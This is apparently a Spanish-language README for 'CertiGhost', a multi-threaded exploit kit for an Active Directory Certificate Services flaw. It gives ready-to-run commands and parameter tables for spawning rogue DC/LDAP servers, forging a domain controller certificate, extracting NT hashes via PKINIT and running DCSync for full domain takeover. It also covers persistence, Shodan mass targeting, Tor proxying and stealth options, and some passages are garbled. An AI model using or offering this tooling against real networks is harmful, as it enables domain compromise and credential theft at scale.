
👻 CVE-2026-54121 - Mejor CertiGhost AD CS Multi-Exploit Framework | Kit avanzado con servidores DC/LDAP falsos, abuso de certificados, extracción de hash PKINIT. Características: detección de comprobación segura, exploit completo multihilo. 🛡️ CVSS 8.8 Alto - Úsalo éticamente, mantente legal. 🔒

Marco de explotación y kit de auditoría
Solo para pruebas de seguridad autorizadas.
detect_ip, y deshabilitar el registro y la salida. Utilice “stealthcert.py” para esta versión.git clone https://tc4dy/CVE-2026-54121-PoC-Exploit
#install requirements
# Auto-discovers CA via LDAP, creates temp computer, spawns rogue servers, requests certificate with cdc redirect, extracts DC's NT hash via PKINIT, enables DCSync for domain takeover
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10
# Impersonates a specific Domain Controller (DC01$). Useful when you know exactly which DC to target. Bypasses auto-discovery
python3 certighost.py -d corp.local -u user -p Passw0rd --dc-ip 10.0.0.1 --target-san DC01$
# Uses NTLM hash instead of password. Works when password is unknown but hash is obtained. ':' before hash = empty LM hash
python3 certighost.py -d domain.local -u admin --hashes :8846f7eaee8fb117ad06bdd830b7586c --dc-ip 192.168.1.10
# Bypasses LDAP CA discovery. Uses explicitly provided CA IP and name. Useful when LDAP is restricted or CA is on different subnet
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10 --ca-ip 192.168.1.20 --ca "PLAYGROUND-CA"
# Native LDAP query to check if AD CS is present. Returns CA name and DNS. Read-only, safe for production. No exploitation performed
.\CertiGhost.ps1 -d playground.local --dc-ip 192.168.1.10 --username lowpriv -p Password123 --detect
# Runs native AD CS detection then calls Python certighost.py with all parameters. Requires certighost.py in same directory. Prints NT hash and ccache file
.\CertiGhost.ps1 -d corp.local --dc-ip 10.0.0.1 --username attacker -p P@ssw0rd --exploit --target-account DC01$
#Detection only mode. Saves results in JSON format. Useful for automation, reporting, and integration with other security tools
.\CertiGhost.ps1 -d domain.local --dc-ip 192.168.1.10 --username user -p pass --detect -o results.json
La vulnerabilidad se origina por comprobaciones de autorización y validación incorrectas (CWE-285) en los Servicios de certificados de Active Directory (AD CS) durante los procesos de inscripción de certificados. Un atacante con credenciales de dominio de privilegios bajos puede manipular los parámetros de redirección del destino para engañar a la entidad de certificación (CA) y hacer que verifique aserciones de identidad contra endpoints rogue.
Endpoint / contexto de solicitud vulnerable:
POST /certsrv/mscep/mscep.dll HTTP/1.1
Host: ca-server.domain.local
Content-Type: application/x-www-form-urlencoded
... (Certificate Request payload with manipulated target/cdc parameters)
Manipulación del objetivo de rastreo (chase target): un atacante modifica los parámetros de redirección del destino (como cdc / chase target) dentro de la solicitud de certificado, forzando a la entidad de certificación (CA) a enrutar el tráfico de verificación hacia un endpoint especificado.
Redirección a servidor rogue: la entidad de certificación (CA) inicia conexiones LDAP o SMB hacia el destino proporcionado por el cliente sin validar si el objetivo es un controlador de dominio legítimo y autorizado.
Falsificación de identidad de DC y emisión de certificados: el servidor rogue controlado por el atacante responde a las consultas de verificación emitidas por la CA en nombre de la cuenta de controlador de dominio objetivo. Basándose en esta respuesta, la CA emite un certificado válido y firmado que lleva la identidad del controlador de dominio.
Usando el certificado de controlador de dominio obtenido, se realiza la autenticación Kerberos a través de PKINIT (Public Key Cryptography for Initial Authentication) para recuperar un TGT con privilegios elevados.
Con un ticket Kerberos que posee privilegios de controlador de dominio, se extraen los hashes de contraseña de todas las cuentas de la base de datos de Active Directory (p. ej., krbtgt, Administrator) mediante la técnica DCSync.
krbtgt.msDS-KeyCredentialLink de las cuentas objetivo para asegurar un acceso persistente.| Atributo | Valor |
|---|
| 📅 Descubierta / Corregida | Julio de 2026 (Microsoft Patch Tuesday) |
| ⚠️ Puntuación CVSS | 8.8 (ALTA) |
| 🏷️ Nombre en clave | Certighost |
| 🎯 Productos afectados | Microsoft Active Directory Certificate Services |
| 🔄 Versiones corregidas | Actualización de seguridad de julio de 2026 |
| 🔓 Autenticación | Cuenta de dominio con privilegios bajos |
| 🌍 Impacto | Compromiso total del dominio de Active Directory |
| Parámetro | Descripción | Ejemplo |
|---|
-d, --domain | Nombre DNS del dominio de destino (obligatorio) | -d playground.local |
-u, --username | Usuario de dominio con privilegios bajos (obligatorio) | -u lowpriv |
-p, --password | Contraseña del usuario | -p Password123 |
-H, --hashes | Hash NTLM [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--dc-ip | IP del controlador de dominio (obligatorio) | --dc-ip 192.168.1.10 |
--ca-ip | IP de la entidad de certificación (opcional) | --ca-ip 192.168.1.20 |
--ca | Nombre de la CA (se detecta automáticamente si no se establece) | --ca "PLAYGROUND-CA" |
--listener | IP del atacante para servidores rogue | --listener 192.168.1.100 |
--target-san | Cuenta de equipo a suplantar (p. ej., DC01$) | --target-san DC01$ |
--template | Plantilla de certificado (predeterminada: Machine) | --template Machine |
--computer-name | Nombre de cuenta de equipo existente (con $) | --computer-name GHOSTABCD$ |
--computer-pass | Contraseña de equipo existente | --computer-pass CGabc123... |
--computer-hash | Hash NT de equipo existente | --computer-hash 8846f7ea... |
--use-ldap | Usar LDAP (389) en lugar de LDAPS (636) | --use-ldap |
--exploit | Realizar la explotación | --exploit |
--detect | Solo detección (sin explotación) | --detect |
-t, --threads | Máximo de hilos para escaneo masivo | -t 10 |
--timeout | Tiempo de espera por solicitud (segundos) | --timeout 10 |
--retry | Número de reintentos en caso de fallo | --retry 3 |
--delay | Retardo base entre solicitudes | --delay 1.0 |
--proxy | URL del proxy | --proxy http://127.0.0.1:8080 |
--no-verify | Deshabilitar verificación SSL | --no-verify |
--tor | Usar proxy Tor (socks5h://127.0.0.1:9050) | --tor |
-o, --output | Archivo de salida (.json, .csv, .jsonl) | -o results.json |
-v, --verbose | Salida detallada | -v |
-q, --quiet | Modo silencioso | -q |
-h, --help | Mostrar ayuda | -h |
| Parámetro | Descripción | Ejemplo |
|---|
-t, --target | IP u hostname de la CA de destino (obligatorio) | -t 192.168.1.20 |
-d, --domain | Nombre DNS del dominio de destino (obligatorio) | -d playground.local |
--dc-ip | IP del controlador de dominio (obligatorio) | --dc-ip 192.168.1.10 |
-u, --username | Usuario de dominio con privilegios bajos (obligatorio) | -u lowpriv |
-p, --password | Contraseña del usuario | -p Password123 |
-H, --hashes | Hash NTLM [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--computer-name | Nombre de cuenta de equipo existente (con $) | --computer-name GHOSTABCD$ |
--computer-pass | Contraseña de equipo existente | --computer-pass CGabc123... |
--computer-hash | Hash NT de equipo existente | --computer-hash 8846f7ea... |
--target-account | Cuenta a suplantar (p. ej., DC01$) | --target-account DC01$ |
--template | Plantilla de certificado (predeterminada: Machine) | --template Machine |
--listener | IP del atacante para servidores rogue (detección automática si no se establece) | --listener 192.168.1.100 |
--use-ldap | Usar LDAP (389) en lugar de LDAPS (636) | --use-ldap |
--keep-files | Conservar archivos .pfx y .ccache (predeterminado: eliminar) | --keep-files |
-h, --help | Mostrar ayuda | -h |
| Parámetro | Descripción | Ejemplo |
|---|
-u, --url | IP u hostname de la CA de destino | -u 192.168.1.20 |
-l, --list | Archivo que contiene los objetivos (uno por línea) | -l targets.txt |
--shodan | Cargar objetivos desde Shodan | --shodan |
--shodan-query | Consulta de búsqueda en Shodan | --shodan-query "AD CS Certificate" |
-d, --domain | Nombre DNS del dominio de destino (obligatorio) | -d playground.local |
--dc-ip | IP del controlador de dominio (obligatorio) | --dc-ip 192.168.1.10 |
--username | Usuario de dominio con privilegios bajos (obligatorio) | --username lowpriv |
-p, --password | Contraseña del usuario | -p Password123 |
-H, --hashes | Hash NTLM [LM:]NT | -H :8846f7ea... |
--computer-name | Nombre de cuenta de equipo existente (con $) | --computer-name GHOSTABCD$ |
--computer-pass | Contraseña de equipo existente | --computer-pass CGabc123... |
--computer-hash | Hash NT de equipo existente | --computer-hash 8846f7ea... |
--target-account | Cuenta a suplantar (p. ej., DC01$) | --target-account DC01$ |
--template | Plantilla de certificado (predeterminada: Machine) | --template Machine |
--listener | IP del atacante para servidores rogue | --listener 192.168.1.100 |
--use-ldap | Usar LDAP (389) en lugar de LDAPS (636) | --use-ldap |
--exploit | Realizar la explotación | --exploit |
--detect | Solo detección (sin explotación) | --detect |
-t, --threads | Máximo de hilos para escaneo masivo | -t 10 |
--timeout | Tiempo de espera por solicitud (segundos) | --timeout 10 |
--retry | Número de reintentos en caso de fallo | --retry 3 |
--delay | Retardo base entre solicitudes | --delay 1.0 |
--proxy | URL del proxy | --proxy http://127.0.0.1:8080 |
--no-verify | Deshabilitar verificación SSL | --no-verify |
--tor | Usar proxy Tor | --tor |
-o, --output | Archivo de salida (.json, .csv, .jsonl) | -o results.json |
-v, --verbose | Salida detallada | -v |
-q, --quiet | Modo silencioso | -q |
-h, --help | Mostrar ayuda | -h |